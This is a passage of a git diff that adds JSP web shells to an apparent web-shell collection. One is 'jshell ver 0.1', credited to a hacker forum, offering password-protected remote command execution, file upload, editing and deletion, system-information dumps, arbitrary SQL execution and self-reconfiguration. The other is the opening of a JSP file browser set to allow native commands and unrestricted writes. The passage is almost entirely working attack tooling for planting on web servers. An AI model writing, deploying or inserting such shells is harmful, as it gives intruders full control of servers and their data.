(file.createNewFile()) { + sRet = ""; + } else { + sRet = "\"" + path + fileName + "\"文件已经存在"; + } + } catch (SecurityException e) { + sRet = "安全问题,没有权限执行该操作"; + } catch (IOException e) { + sRet = "创建文件\"" + path + fileName + "\"失败"; + } + + return sRet; +} + +public String deleteFile(String path, String curUri, String[] files2Delete) { + String sRet = ""; + File tmpFile = null; + + try { + for (int i = 0; i < files2Delete.length; i ++) { + tmpFile = new File(files2Delete[i]); + if (! tmpFile.delete()) { + sRet += "删除\"" + files2Delete[i] + "\"失败
    \n"; + } + } + + if (sRet.equals("")) { + sRet = "删除成功,正在返回,请稍候……\n"; + sRet += ""; + } + } catch (SecurityException e) { + sRet = "安全问题,没有权限执行该操作\n"; + } + + return sRet; +} + +public String saveAs(String path, String curUri, String fileContent) { + String sRet = ""; + File file = null; + FileWriter fileWriter = null; + + try { + file = new File(path); + + if (file.createNewFile()) { + fileWriter = new FileWriter(file); + fileWriter.write(fileContent); + fileWriter.close(); + + sRet = ""; + } else { + sRet = "文件\"" + path + "\"已经存在"; + } + } catch (IOException e) { + sRet = "创建文件\"" + path + "\"失败"; + } + + return sRet; +} + + +public String uploadFile(ServletRequest request, String path, String curUri) { + String sRet = ""; + File file = null; + InputStream in = null; + + path = pathConvert(path); + + try { + in = request.getInputStream(); + + byte[] inBytes = new byte[request.getContentLength()]; + int nBytes; + int start = 0; + int end = 0; + int size = 1024; + String token = null; + String filePath = null; + + // + // 把输入流读入一个字节数组 + // + while ((nBytes = in.read(inBytes, start, size)) != -1) { + start += nBytes; + } + + in.close(); + // + // 从字节数组中得到文件分隔符号 + // + int i = 0; + byte[] seperator; + + while (inBytes[i] != 13) { + i ++; + } + + seperator = new byte[i]; + + for (i = 0; i < seperator.length; i ++) { + seperator[i] = inBytes[i]; + } + + // + // 得到Header部分 + // + String dataHeader = null; + i += 3; + start = i; + while (! (inBytes[i] == 13 && inBytes[i + 2] == 13)) { + i ++; + } + end = i - 1; + dataHeader = new String(inBytes, start, end - start + 1); + + // + // 得到文件名 + // + token = "filename=\""; + start = dataHeader.indexOf(token) + token.length(); + token = "\""; + end = dataHeader.indexOf(token, start) - 1; + filePath = dataHeader.substring(start, end + 1); + filePath = pathConvert(filePath); + String fileName = filePath.substring(filePath.lastIndexOf("/") + 1); + + // + // 得到文件内容开始位置 + // + i += 4; + start = i; + + /* + boolean found = true; + byte[] tmp = new byte[seperator.length]; + while (i <= inBytes.length - 1 - seperator.length) { + + for (int j = i; j < i + seperator.length; j ++) { + if (seperator[j - i] != inBytes[j]) { + found = false; + break; + } else + tmp[j - i] = inBytes[j]; + } + + if (found) + break; + + i ++; + }*/ + + // + // 偷懒的办法 + // + end = inBytes.length - 1 - 2 - seperator.length - 2 - 2; + + // + // 保存为文件 + // + File newFile = new File(path + fileName); + newFile.createNewFile(); + FileOutputStream out = new FileOutputStream(newFile); + + //out.write(inBytes, start, end - start + 1); + out.write(inBytes, start, end - start + 1); + out.close(); + + sRet = "\n"; + } catch (IOException e) { + sRet = "\n"; + } + + sRet += ""; + return sRet; +} + +public boolean fileCopy(String srcPath, String dstPath) { + boolean bRet = true; + + try { + FileInputStream in = new FileInputStream(new File(srcPath)); + FileOutputStream out = new FileOutputStream(new File(dstPath)); + byte[] buffer = new byte[1024]; + int nBytes; + + + while ((nBytes = in.read(buffer, 0, 1024)) != -1) { + out.write(buffer, 0, nBytes); + } + + in.close(); + out.close(); + } catch (IOException e) { + bRet = false; + } + + return bRet; +} + +public String getFileNameByPath(String path) { + String sRet = ""; + + path = pathConvert(path); + + if (path.lastIndexOf("/") != -1) { + sRet = path.substring(path.lastIndexOf("/") + 1); + } else { + sRet = path; + } + + return sRet; +} + +public String copyFiles(String path, String curUri, String[] files2Copy, String dstPath) { + String sRet = ""; + int i; + + path = pathConvert(path); + dstPath = pathConvert(dstPath); + + for (i = 0; i < files2Copy.length; i ++) { + if (! fileCopy(files2Copy[i], dstPath + getFileNameByPath(files2Copy[i]))) { + sRet += "文件\"" + files2Copy[i] + "\"复制失败
    "; + } + } + + if (sRet.equals("")) { + sRet = "文件复制成功,正在返回,请稍候……"; + sRet += ""; + } + + return sRet; +} + +public boolean isFileName(String fileName) { + boolean bRet = false; + + Pattern p = Pattern.compile("^[a-zA-Z0-9][\\w\\.]*[\\w]$"); + Matcher m = p.matcher(fileName); + + bRet = m.matches(); + + return bRet; +} + +public String renameFile(String path, String curUri, String file2Rename, String newName) { + String sRet = ""; + + path = pathConvert(path); + file2Rename = pathConvert(file2Rename); + + try { + File file = new File(file2Rename); + + newName = file2Rename.substring(0, file2Rename.lastIndexOf("/") + 1) + newName; + File newFile = new File(newName); + + if (! file.exists()) { + sRet = "文件\"" + file2Rename + "\"不存在"; + } else { + file.renameTo(newFile); + sRet = "文件重命名成功,正在返回,请稍候……"; + sRet += ""; + } + } catch (SecurityException e) { + sRet = "安全问题导致文件\"" + file2Rename + "\"复制失败"; + } + + return sRet; +} + +public boolean DBInit(String dbType, String dbServer, String dbPort, String dbUsername, String dbPassword, String dbName) { + boolean bRet = true; + String driverName = ""; + + if (dbServer.equals("")) + dbServer = "localhost"; + + try { + if (dbType.equals("sqlserver")) { + driverName = "com.microsoft.jdbc.sqlserver.SQLServerDriver"; + if (dbPort.equals("")) + dbPort = "1433"; + _url = "jdbc:microsoft:sqlserver://" + dbServer + ":" + dbPort + ";User=" + dbUsername + ";Password=" + dbPassword + ";DatabaseName=" + dbName; + } else if (dbType.equals("mysql")) { + driverName = "com.mysql.jdbc.Driver"; + if (dbPort.equals("")) + dbPort = "3306"; + _url = "jdbc:mysql://" + dbServer + ":" + dbPort + ";User=" + dbUsername + ";Password=" + dbPassword + ";DatabaseName=" + dbName; + } else if (dbType.equals("odbc")) { + driverName = "sun.jdbc.odbc.JdbcOdbcDriver"; + _url = "jdbc:odbc:dsn=" + dbName + ";User=" + dbUsername + ";Password=" + dbPassword; + } else if (dbType.equals("oracle")) { + driverName = "oracle.jdbc.driver.OracleDriver"; + _url = "jdbc:oracle:thin@" + dbServer + ":" + dbPort + ":" + dbName; + } else if (dbType.equals("db2")) { + driverName = "com.ibm.db2.jdbc.app.DB2Driver"; + _url = "jdbc:db2://" + dbServer + ":" + dbPort + "/" + dbName; + } + + Class.forName(driverName); + } catch (ClassNotFoundException e) { + bRet = false; + } + + return bRet; +} + +public boolean DBConnect(String User, String Password) { + boolean bRet = false; + + if (_url != null) { + try { + _dbConnection = DriverManager.getConnection(_url, User, Password); + _dbStatement = _dbConnection.createStatement(); + bRet = true; + } catch (SQLException e) { + bRet = false; + } + } + + return bRet; +} + +public String DBExecute(String sql) { + String sRet = ""; + + if (_dbConnection == null || _dbStatement == null) { + sRet = "数据库没有正常连接"; + } else { + try { + if (sql.toLowerCase().substring(0, 6).equals("select")) { + ResultSet rs = _dbStatement.executeQuery(sql); + ResultSetMetaData rsmd = rs.getMetaData(); + int colNum = rsmd.getColumnCount(); + int colType; + + sRet = "sql语句执行成功,返回结果
    \n"; + sRet += "\n"; + sRet += " \n"; + for (int i = 1; i <= colNum; i ++) { + sRet += " \n"; + } + sRet += " \n"; + while (rs.next()) { + sRet += " \n"; + for (int i = 1; i <= colNum; i ++) { + colType = rsmd.getColumnType(i); + + sRet += " \n"; + } + sRet += " \n"; + } + sRet += "
    " + rsmd.getColumnName(i) + "(" + rsmd.getColumnTypeName(i) + ")
    "; + switch (colType) { + case Types.BIGINT: + sRet += rs.getLong(i); + break; + + case Types.BIT: + sRet += rs.getBoolean(i); + break; + + case Types.BOOLEAN: + sRet += rs.getBoolean(i); + break; + + case Types.CHAR: + sRet += rs.getString(i); + break; + + case Types.DATE: + sRet += rs.getDate(i).toString(); + break; + + case Types.DECIMAL: + sRet += rs.getDouble(i); + break; + + case Types.NUMERIC: + sRet += rs.getDouble(i); + break; + + case Types.REAL: + sRet += rs.getDouble(i); + break; + + case Types.DOUBLE: + sRet += rs.getDouble(i); + break; + + case Types.FLOAT: + sRet += rs.getFloat(i); + break; + + case Types.INTEGER: + sRet += rs.getInt(i); + break; + + case Types.TINYINT: + sRet += rs.getShort(i); + break; + + case Types.VARCHAR: + sRet += rs.getString(i); + break; + + case Types.TIME: + sRet += rs.getTime(i).toString(); + break; + + case Types.DATALINK: + sRet += rs.getTimestamp(i).toString(); + break; + } + sRet += "
    \n"; + + rs.close(); + } else { + if (_dbStatement.execute(sql)) { + sRet = "sql语句执行成功"; + } else { + sRet = "sql语句执行失败"; + } + } + } catch (SQLException e) { + sRet = "sql语句执行失败"; + } + } + + return sRet; +} + +public void DBRelease() { + try { + if (_dbStatement != null) { + _dbStatement.close(); + _dbStatement = null; + } + + if (_dbConnection != null) { + _dbConnection.close(); + _dbConnection = null; + } + } catch (SQLException e) { + + } +} + +///////////////////////////////////////////////////////////////////////////////////////////////////////////////// + +class JshellConfig { + private String _jshellContent = null; + private String _path = null; + + public JshellConfig(String path) throws JshellConfigException { + _path = path; + read(); + } + + private void read() throws JshellConfigException { + try { + FileReader jshell = new FileReader(new File(_path)); + char[] buffer = new char[1024]; + int nChars; + _jshellContent = ""; + + while ((nChars = jshell.read(buffer, 0, 1024)) != -1) { + _jshellContent += new String(buffer, 0, nChars); + } + + jshell.close(); + } catch (IOException e) { + throw new JshellConfigException("打开文件失败"); + } + } + + public void save() throws JshellConfigException { + FileWriter jshell = null; + + try { + jshell = new FileWriter(new File(_path)); + char[] buffer = _jshellContent.toCharArray(); + int start = 0; + int size = 1024; + + for (start = 0; start < buffer.length - 1 - size; start += size) { + jshell.write(buffer, start, size); + } + + jshell.write(buffer, start, buffer.length - 1 - start); + } catch (IOException e) { + new JshellConfigException("写文件失败"); + } finally { + try { + jshell.close(); + } catch (IOException e) { + + } + } + } + + public void setPassword(String password) throws JshellConfigException { + Pattern p = Pattern.compile("\\w+"); + Matcher m = p.matcher(password); + + if (! m.matches()) { + throw new JshellConfigException("密码不能有除字母数字下划线以外的字符"); + } + + p = Pattern.compile("private\\sString\\s_password\\s=\\s\"" + _password + "\""); + m = p.matcher(_jshellContent); + if (! m.find()) { + throw new JshellConfigException("程序体已经被非法修改"); + } + + _jshellContent = m.replaceAll("private String _password = \"" + password + "\""); + + //return HTMLEncode(_jshellContent); + } + + public void setEncodeType(String encodeType) throws JshellConfigException { + Pattern p = Pattern.compile("[A-Za-z0-9]+"); + Matcher m = p.matcher(encodeType); + + if (! m.matches()) { + throw new JshellConfigException("编码格式只能是字母和数字的组合"); + } + + p = Pattern.compile("private\\sString\\s_encodeType\\s=\\s\"" + _encodeType + "\""); + m = p.matcher(_jshellContent); + + if (! m.find()) { + throw new JshellConfigException("程序体已经被非法修改"); + } + + _jshellContent = m.replaceAll("private String _encodeType = \"" + encodeType + "\""); + //return HTMLEncode(_jshellContent); + } + + public void setSessionTime(String sessionTime) throws JshellConfigException { + Pattern p = Pattern.compile("\\d+"); + Matcher m = p.matcher(sessionTime); + + if (! m.matches()) { + throw new JshellConfigException("session超时时间只能填数字"); + } + + p = Pattern.compile("private\\sint\\s_sessionOutTime\\s=\\s" + _sessionOutTime); + m = p.matcher(_jshellContent); + + if (! m.find()) { + throw new JshellConfigException("程序体已经被非法修改"); + } + + _jshellContent = m.replaceAll("private int _sessionOutTime = " + sessionTime); + //return HTMLEncode(_jshellContent); + } + + public void setTextFileTypes(String[] textFileTypes) throws JshellConfigException { + Pattern p = Pattern.compile("\\w+"); + Matcher m = null; + int i; + String fileTypes = ""; + String tmpFileTypes = ""; + + for (i = 0; i < textFileTypes.length; i ++) { + m = p.matcher(textFileTypes[i]); + + if (! m.matches()) { + throw new JshellConfigException("扩展名只能是字母数字和下划线的组合"); + } + + if (i != textFileTypes.length - 1) + fileTypes += "\"" + textFileTypes[i] + "\"" + ", "; + else + fileTypes += "\"" + textFileTypes[i] + "\""; + } + + for (i = 0; i < _textFileTypes.length; i ++) { + if (i != _textFileTypes.length - 1) + tmpFileTypes += "\"" + _textFileTypes[i] + "\"" + ", "; + else + tmpFileTypes += "\"" + _textFileTypes[i] + "\""; + } + + p = Pattern.compile(tmpFileTypes); + m = p.matcher(_jshellContent); + + if (! m.find()) { + throw new JshellConfigException("程序文件已经被非法修改"); + } + + _jshellContent = m.replaceAll(fileTypes); + + //return HTMLEncode(_jshellContent); + } + + public String getContent() { + return HTMLEncode(_jshellContent); + } +} + +class JshellConfigException extends Exception { + public JshellConfigException(String message) { + super(message); + } +} +%> + + +jshell ver 0.1 + + + + +<% +session.setMaxInactiveInterval(_sessionOutTime * 60); + +if (request.getParameter("password") == null && session.getAttribute("password") == null) { +// show the login form +//================================================================================================ +%> + + + + + + + + + + +
    + + +
    +<% +//================================================================================================ +// end of the login form +} else { + String password = null; + + if (session.getAttribute("password") == null) { + password = (String)request.getParameter("password"); + + if (validate(password) == false) { + out.println("
  • 密码错误!
  • "); + out.close(); + return; + } + + session.setAttribute("password", password); + } else { + password = (String)session.getAttribute("password"); + } + + String action = null; + + if (request.getParameter("action") == null) + action = "main"; + else + action = (String)request.getParameter("action"); + + if (action.equals("exit")) { + session.removeAttribute("password"); + response.sendRedirect(request.getRequestURI()); + out.close(); + return; + } + +// show the main menu +//==================================================================================== +%> + + + + + + + +
    + + +
    +<% +//===================================================================================== +// end of main menu + + if (action.equals("main")) { +// print the system info table +//======================================================================================= +%> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    服务器信息
    服务器名<%=request.getServerName()%>
    服务器端口<%=request.getServerPort()%>
    操作系统<%=System.getProperty("os.name") + " " + System.getProperty("os.version") + " " + System.getProperty("os.arch")%>
    当前用户名<%=System.getProperty("user.name")%>
    当前用户目录<%=System.getProperty("user.home")%>
    当前用户工作目录<%=System.getProperty("user.dir")%>
    程序相对路径<%=request.getRequestURI()%>
    程序绝对路径<%=request.getRealPath(request.getServletPath())%>
    网络协议<%=request.getProtocol()%>
    服务器软件版本信息<%=application.getServerInfo()%>
    JDK版本<%=System.getProperty("java.version")%>
    JDK安装路径<%=System.getProperty("java.home")%>
    JAVA虚拟机版本<%=System.getProperty("java.vm.specification.version")%>
    JAVA虚拟机名<%=System.getProperty("java.vm.name")%>
    JAVA类路径<%=System.getProperty("java.class.path")%>
    JAVA载入库搜索路径<%=System.getProperty("java.library.path")%>
    JAVA临时目录<%=System.getProperty("java.io.tmpdir")%>
    JIT编译器名<%=System.getProperty("java.compiler") == null ? "" : System.getProperty("java.compiler")%>
    扩展目录路径<%=System.getProperty("java.ext.dirs")%>
    客户端信息
    客户机地址<%=request.getRemoteAddr()%>
    服务机器名<%=request.getRemoteHost()%>
    用户名<%=request.getRemoteUser() == null ? "" : request.getRemoteUser()%>
    请求方式<%=request.getScheme()%>
    应用安全套接字层<%=request.isSecure() == true ? "是" : "否"%>
    +<% +//======================================================================================= +// end of printing the system info table +///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// + } else if (action.equals("filesystem")) { + String curPath = ""; + String result = ""; + String fsAction = ""; + + if (request.getParameter("curPath") == null) { + curPath = request.getRealPath(request.getServletPath()); + curPath = pathConvert((new File(curPath)).getParent()); + } else { + curPath = Unicode2GB((String)request.getParameter("curPath")); + } + + if (request.getParameter("fsAction") == null) { + fsAction = "list"; + } else { + fsAction = (String)request.getParameter("fsAction"); + } + + if (fsAction.equals("list")) + result = listFiles(curPath, request.getRequestURI() + "?action=" + action); + else if (fsAction.equals("browse")) { + result = listFiles(new File(curPath).getParent(), request.getRequestURI() + "?action=" + action); + result += browseFile(curPath); + } + else if (fsAction.equals("open")) + result = openFile(curPath, request.getRequestURI() + "?action=" + action); + else if (fsAction.equals("save")) { + if (request.getParameter("fileContent") == null) { + result = "页面导航错误"; + } else { + String fileContent = Unicode2GB((String)request.getParameter("fileContent")); + result = saveFile(curPath, request.getRequestURI() + "?action=" + action, fileContent); + } + } else if (fsAction.equals("createFolder")) { + if (request.getParameter("folderName") == null) { + result = "目录名不能为空"; + } else { + String folderName = Unicode2GB(request.getParameter("folderName").trim()); + if (folderName.equals("")) { + result = "目录名不能为空"; + } else { + result = createFolder(curPath, request.getRequestURI() + "?action=" + action, folderName); + } + } + } else if (fsAction.equals("createFile")) { + if (request.getParameter("fileName") == null) { + result = "文件名不能为空"; + } else { + String fileName = Unicode2GB(request.getParameter("fileName").trim()); + if (fileName.equals("")) { + result = "文件名不能为空"; + } else { + result = createFile(curPath, request.getRequestURI() + "?action=" + action, fileName); + } + } + } else if (fsAction.equals("deleteFile")) { + if (request.getParameter("filesDelete") == null) { + result = "没有选择要删除的文件"; + } else { + String[] files2Delete = (String[])request.getParameterValues("filesDelete"); + if (files2Delete.length == 0) { + result = "没有选择要删除的文件"; + } else { + for (int n = 0; n < files2Delete.length; n ++) { + files2Delete[n] = Unicode2GB(files2Delete[n]); + } + result = deleteFile(curPath, request.getRequestURI() + "?action=" + action, files2Delete); + } + } + } else if (fsAction.equals("saveAs")) { + if (request.getParameter("fileContent") == null) { + result = "页面导航错误"; + } else { + String fileContent = Unicode2GB(request.getParameter("fileContent")); + result = saveAs(curPath, request.getRequestURI() + "?action=" + action, fileContent); + } + } else if (fsAction.equals("upload")) { + result = uploadFile(request, curPath, request.getRequestURI() + "?action=" + action); + } else if (fsAction.equals("copyto")) { + if (request.getParameter("filesDelete") == null || request.getParameter("dstPath") == null) { + result = "没有选择要复制的文件"; + } else { + String[] files2Copy = request.getParameterValues("filesDelete"); + String dstPath = request.getParameter("dstPath").trim(); + if (files2Copy.length == 0) { + result = "没有选择要复制的文件"; + } else if (dstPath.equals("")) { + result = "没有填写要复制到的目录路径"; + } else { + for (int i = 0; i < files2Copy.length; i ++) + files2Copy[i] = Unicode2GB(files2Copy[i]); + + result = copyFiles(curPath, request.getRequestURI() + "?action=" + action, files2Copy, Unicode2GB(dstPath)); + } + } + } else if (fsAction.equals("rename")) { + if (request.getParameter("fileRename") == null) { + result = "页面导航错误"; + } else { + String file2Rename = request.getParameter("fileRename").trim(); + String newName = request.getParameter("newName").trim(); + if (file2Rename.equals("")) { + result = "没有选择要重命名的文件"; + } else if (newName.equals("")) { + result = "没有填写新文件名"; + } else { + result = renameFile(curPath, request.getRequestURI() + "?action=" + action, Unicode2GB(file2Rename), Unicode2GB(newName)); + } + } + } +%> + + + + + + + + + +
    地址 +
    <%= result.trim().equals("")?" " : result%>
    +<% +///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// + } else if (action.equals("command")) { + String cmd = ""; + InputStream ins = null; + String result = ""; + + if (request.getParameter("command") != null) { + cmd = (String)request.getParameter("command"); + result = exeCmd(cmd); + } +// print the command form +//======================================================================================== +%> + + + + + + + + + + + + +
    执行命令
    + + +
    执行结果
    + + + + +
    <%=result == "" ? " " : result%>
    +<% +//========================================================================================= +// end of printing command form +/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// + } else if (action.equals("database")) { + String dbAction = ""; + String result = ""; + String dbType = ""; + String dbServer = ""; + String dbPort = ""; + String dbUsername = ""; + String dbPassword = ""; + String dbName = ""; + String dbResult = ""; + String sql = ""; + + if (request.getParameter("dbAction") == null) { + dbAction = "main"; + } else { + dbAction = request.getParameter("dbAction").trim(); + if (dbAction.equals("")) + dbAction = "main"; + } + + if (dbAction.equals("main")) { + result = " "; + } else if (dbAction.equals("dbConnect")) { + if (request.getParameter("dbType") == null || + request.getParameter("dbServer") == null || + request.getParameter("dbPort") == null || + request.getParameter("dbUsername") == null || + request.getParameter("dbPassword") == null || + request.getParameter("dbName") == null) { + response.sendRedirect(request.getRequestURI() + "?action=" + action); + } else { + dbType = request.getParameter("dbType").trim(); + dbServer = request.getParameter("dbServer").trim(); + dbPort = request.getParameter("dbPort").trim(); + dbUsername = request.getParameter("dbUsername").trim(); + dbPassword = request.getParameter("dbPassword").trim(); + dbName = request.getParameter("dbName").trim(); + + if (DBInit(dbType, dbServer, dbPort, dbUsername, dbPassword, dbName)) { + if (DBConnect(dbUsername, dbPassword)) { + if (request.getParameter("sql") != null) { + sql = request.getParameter("sql").trim(); + if (! sql.equals("")) { + dbResult = DBExecute(sql); + } + } + + result = "\n"; + result += "sql语句

     \n"; + + DBRelease(); + } else { + result = "数据库连接失败"; + } + } else { + result = "数据库连接驱动没有找到"; + } + } + } +%> + + + "> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    数据库连接类型 + + +
    数据库服务器地址
    数据库服务器端口
    数据库用户名
    数据库密码
    数据库名
    <%=result%>
    + + + + +
    + <%=dbResult%> +
    +<% + +//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// + } else if (action.equals("config")) { + String cfAction = ""; + int i; + + if (request.getParameter("cfAction") == null) { + cfAction = "main"; + } else { + cfAction = request.getParameter("cfAction").trim(); + if (cfAction.equals("")) + cfAction = "main"; + } + + if (cfAction.equals("main")) { +// start of config form +//========================================================================================== +%> + + + " onSubmit="javascript:selectAllTypes()"> + + + + + + + + + + + + + + + + + + + + +
    密码
    系统编码
    Session超时时间
    可编辑文件类型 + + + + + + +
    + + + +

    + +
    + +
    +
    +<% + } else if (cfAction.equals("save")) { + if (request.getParameter("password") == null || + request.getParameter("encode") == null || + request.getParameter("sessionTime") == null || + request.getParameterValues("textFileTypes") == null) { + response.sendRedirect(request.getRequestURI()); + } + + String result = ""; + + String newPassword = request.getParameter("password").trim(); + String newEncodeType = request.getParameter("encode").trim(); + String newSessionTime = request.getParameter("sessionTime").trim(); + String[] newTextFileTypes = request.getParameterValues("textFileTypes"); + String jshellPath = request.getRealPath(request.getServletPath()); + + try { + JshellConfig jconfig = new JshellConfig(jshellPath); + jconfig.setPassword(newPassword); + jconfig.setEncodeType(newEncodeType); + jconfig.setSessionTime(newSessionTime); + jconfig.setTextFileTypes(newTextFileTypes); + jconfig.save(); + result += "设置保存成功,正在返回,请稍候……"; + result += ""; + } catch (JshellConfigException e) { + result = "" + e.getMessage() + ""; + } + +%> + + + + +
    <%=result == "" ? " " : result%>
    +<% + } +////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +//========================================================================================== +// end of config form + } else if (action.equals("about")) { +// start of about +//========================================================================================== +%> + + + + + + + + + + +
    关于 jshell ver 0.1
    created by `■嘿■黑㊣ and welcome to 黑狼基地论坛
    +<% +//========================================================================================== + } +} +%> + + + \ No newline at end of file diff --git a/jsp/jspbrowser/Browser.jsp b/jsp/jspbrowser/Browser.jsp new file mode 100644 index 0000000..2bac9d1 --- /dev/null +++ b/jsp/jspbrowser/Browser.jsp @@ -0,0 +1,1934 @@ +<%-- + jsp File browser 1.2 + Copyright (C) 2003-2006 Boris von Loesch + This program is free software; you can redistribute it and/or modify it under + the terms of the GNU General Public License as published by the + Free Software Foundation; either version 2 of the License, or (at your option) + any later version. + This program is distributed in the hope that it will be useful, but + WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or + FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + You should have received a copy of the GNU General Public License along with + this program; if not, write to the + Free Software Foundation, Inc., + 59 Temple Place, Suite 330, + Boston, MA 02111-1307 USA + - Description: jsp File browser v1.2 -- This JSP program allows remote web-based + file access and manipulation. You can copy, create, move and delete files. + Text files can be edited and groups of files and folders can be downloaded + as a single zip file that's created on the fly. + - Credits: Taylor Bastien, David Levine, David Cowan, Lieven Govaerts +--%> +<%@page import="java.util.*, + java.net.*, + java.text.*, + java.util.zip.*, + java.io.*" +%> +<%! + //FEATURES + private static final boolean NATIVE_COMMANDS = true; + /** + *If true, all operations (besides upload and native commands) + *which change something on the file system are permitted + */ + private static final boolean READ_ONLY = false; + //If true, uploads are allowed even if READ_ONLY = true + private static final boolean ALLOW_UPLOAD = true; + + //Allow browsing and file manipulation only in certain directories + private static final boolean RESTRICT_BROWSING = false; + //If true, the user is allowed to browse only in RESTRICT_PATH, + //if false, the user is allowed to browse all directories besides RESTRICT_PATH + private static final boolean RESTRICT_WHITELIST = false; + //Paths, sperated by semicolon + //private static final String RESTRICT_PATH = "C:\\CODE;E:\\"; //Win32: Case important!! + private static final String RESTRICT_PATH = "/etc;/var"; + + //The refresh time in seconds of the upload monitor window + private static final int UPLOAD_MONITOR_REFRESH = 2; + //The number of colums for the edit field + private static final int EDITFIELD_COLS = 85; + //The number of rows for the edit field + private static final int EDITFIELD_ROWS = 30; + //Open a new window to view a file + private static final boolean USE_POPUP = true; + /** + * If USE_DIR_PREVIEW = true, then for every directory a tooltip will be + * created (hold the mouse over the link) with the first DIR_PREVIEW_NUMBER entries. + * This can yield to performance issues. Turn it off, if the directory loads to slow. + */ + private static final boolean USE_DIR_PREVIEW = false; + private static final int DIR_PREVIEW_NUMBER = 10; + /** + * The name of an optional CSS Stylesheet file + */ + private static final String CSS_NAME = "Browser.css"; + /** + * The compression level for zip file creation (0-9) + * 0 = No compression + * 1 = Standard compression (Very fast) + * ... + * 9 = Best compression (Very slow) + */ + private static final int COMPRESSION_LEVEL = 1; + /** + * The FORBIDDEN_DRIVES are not displayed on the list. This can be usefull, if the + * server runs on a windows platform, to avoid a message box, if you try to access + * an empty removable drive (See KNOWN BUGS in Readme.txt). + */ + private static final String[] FORBIDDEN_DRIVES = {"a:\\"}; + + /** + * Command of the shell interpreter and the parameter to run a programm + */ + private static final String[] COMMAND_INTERPRETER = {"cmd", "/C"}; // Dos,Windows + //private static final String[] COMMAND_INTERPRETER = {"/bin/sh","-c"}; // Unix + + /** + * Max time in ms a process is allowed to run, before it will be terminated + */ + private static final long MAX_PROCESS_RUNNING_TIME = 30 * 1000; //30 seconds + + //Button names + private static final String SAVE_AS_ZIP = "Download selected files as (z)ip"; + private static final String RENAME_FILE = "(R)ename File"; + private static final String DELETE_FILES = "(Del)ete selected files"; + private static final String CREATE_DIR = "Create (D)ir"; + private static final String CREATE_FILE = "(C)reate File"; + private static final String MOVE_FILES = "(M)ove Files"; + private static final String COPY_FILES = "Cop(y) Files"; + private static final String LAUNCH_COMMAND = "(L)aunch external program"; + private static final String UPLOAD_FILES = "Upload"; + + //Normally you should not change anything after this line + //---------------------------------------------------------------------------------- + //Change this to locate the tempfile directory for upload (not longer needed) + private static String tempdir = "."; + private static String VERSION_NR = "1.2"; + private static DateFormat dateFormat = DateFormat.getDateTimeInstance(); + + public class UplInfo { + + public long totalSize; + public long currSize; + public long starttime; + public boolean aborted; + + public UplInfo() { + totalSize = 0l; + currSize = 0l; + starttime = System.currentTimeMillis(); + aborted = false; + } + + public UplInfo(int size) { + totalSize = size; + currSize = 0; + starttime = System.currentTimeMillis(); + aborted = false; + } + + public String getUprate() { + long time = System.currentTimeMillis() - starttime; + if (time != 0) { + long uprate = currSize * 1000 / time; + return convertFileSize(uprate) + "/s"; + } + else return "n/a"; + } + + public int getPercent() { + if (totalSize == 0) return 0; + else return (int) (currSize * 100 / totalSize); + } + + public String getTimeElapsed() { + long time = (System.currentTimeMillis() - starttime) / 1000l; + if (time - 60l >= 0){ + if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m"; + else return time / 60 + ":0" + (time % 60) + "m"; + } + else return time<10 ? "0" + time + "s": time + "s"; + } + + public String getTimeEstimated() { + if (currSize == 0) return "n/a"; + long time = System.currentTimeMillis() - starttime; + time = totalSize * time / currSize; + time /= 1000l; + if (time - 60l >= 0){ + if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m"; + else return time / 60 + ":0" + (time % 60) + "m"; + } + else return time<10 ? "0" + time + "s": time + "s"; + } + + } + + public class FileInfo { + + public String name = null, clientFileName = null, fileContentType = null; + private byte[] fileContents = null; + public File file = null; + public StringBuffer sb = new StringBuffer(100); + + public void setFileContents(byte[] aByteArray) { + fileContents = new byte[aByteArray.length]; + System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length); + } + } + + public static class UploadMonitor { + + static Hashtable uploadTable = new Hashtable(); + + static void set(String fName, UplInfo info) { + uploadTable.put(fName, info); + } + + static void remove(String fName) { + uploadTable.remove(fName); + } + + static UplInfo getInfo(String fName) { + UplInfo info = (UplInfo) uploadTable.get(fName); + return info; + } + } + + // A Class with methods used to process a ServletInputStream + public class HttpMultiPartParser { + + //private final String lineSeparator = System.getProperty("line.separator", "\n"); + private final int ONE_MB = 1024 * 1; + + public Hashtable processData(ServletInputStream is, String boundary, String saveInDir, + int clength) throws IllegalArgumentException, IOException { + if (is == null) throw new IllegalArgumentException("InputStream"); + if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException( + "\"" + boundary + "\" is an illegal boundary indicator"); + boundary = "--" + boundary; + StringTokenizer stLine = null, stFields = null; + FileInfo fileInfo = null; + Hashtable dataTable = new Hashtable(5); + String line = null, field = null, paramName = null; + boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0); + boolean isFile = false; + if (saveFiles) { // Create the required directory (including parent dirs) + File f = new File(saveInDir); + f.mkdirs(); + } + line = getLine(is); + if (line == null || !line.startsWith(boundary)) throw new IOException( + "Boundary not found; boundary = " + boundary + ", line = " + line); + while (line != null) { + if (line == null || !line.startsWith(boundary)) return dataTable; + line = getLine(is); + if (line == null) return dataTable; + stLine = new StringTokenizer(line, ";\r\n"); + if (stLine.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in second line"); + line = stLine.nextToken().toLowerCase(); + if (line.indexOf("form-data") < 0) throw new IllegalArgumentException( + "Bad data in second line"); + stFields = new StringTokenizer(stLine.nextToken(), "=\""); + if (stFields.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in second line"); + fileInfo = new FileInfo(); + stFields.nextToken(); + paramName = stFields.nextToken(); + isFile = false; + if (stLine.hasMoreTokens()) { + field = stLine.nextToken(); + stFields = new StringTokenizer(field, "=\""); + if (stFields.countTokens() > 1) { + if 